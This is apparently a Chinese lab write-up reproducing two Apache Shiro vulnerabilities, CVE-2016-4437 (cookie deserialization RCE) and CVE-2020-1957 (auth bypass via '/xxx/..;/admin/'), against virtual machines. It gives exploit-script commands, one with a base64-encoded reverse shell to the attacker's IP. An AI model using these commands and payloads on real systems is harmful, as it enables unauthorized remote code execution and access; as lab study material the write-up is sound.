1.CVE-2016-4437
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
1.证明存在shiro漏洞:(win7虚拟机)
打开下载好的ShiroExploit.jar,进入图形化Shiro检测界面,输入靶机ip,点击下一步。
2.选择第一个使用ceye.io进行漏洞检测,点击下一步,开始执行检测。在图形界面中勾选第一个反弹shell,填入相应信息,点击执行。
3.同时在攻击机kali2上进行监听,发现攻击机成功连接到kali1上
4.还有一个漏洞脚本:
1)尝试执行向靶机写入文档:
python3 shiro_exploit.py -t 3 -u http://192.168.225.139:8080 -p "touch a.txt"
2)尝试反弹shell:
python3 shiro_exploit.py -t 3 -u http://192.168.225.139:8080 -p "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"
2.CVE-2020-1957
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon,authc等拦截器。
anon为匿名拦截器,不需要登录即可访问;
authc为登录拦截器,需要登录才可以访问。
Shiro的URL路径表达式为Ant格式,路径通配符*表示匹配零个或多个字符串,/*可以匹配/hello,但是匹配不到/hello/,因为*通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/,那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现了权限绕过。
主要是Spring web在匹配url的时候没有匹配上/导致绕过
1.访问8080端口,可以看到需要登录,直接访问admin会被302重定向到login.html
抓包出来也可以说明这个问题:
这个应用中对URL权限的配置如下:
2.构造恶意请求/xxx/..;/admin/即可绕过权限校验,访问到管理页面。
URL请求过程:
客户端请求URL:/xxx/..;/admin/
Shrio内部处理得到校验URL为/xxxx/..,校验通过
SpringBoot处理/xxx/..;/admin/,最终请求/admin/,成功访问了后台请求。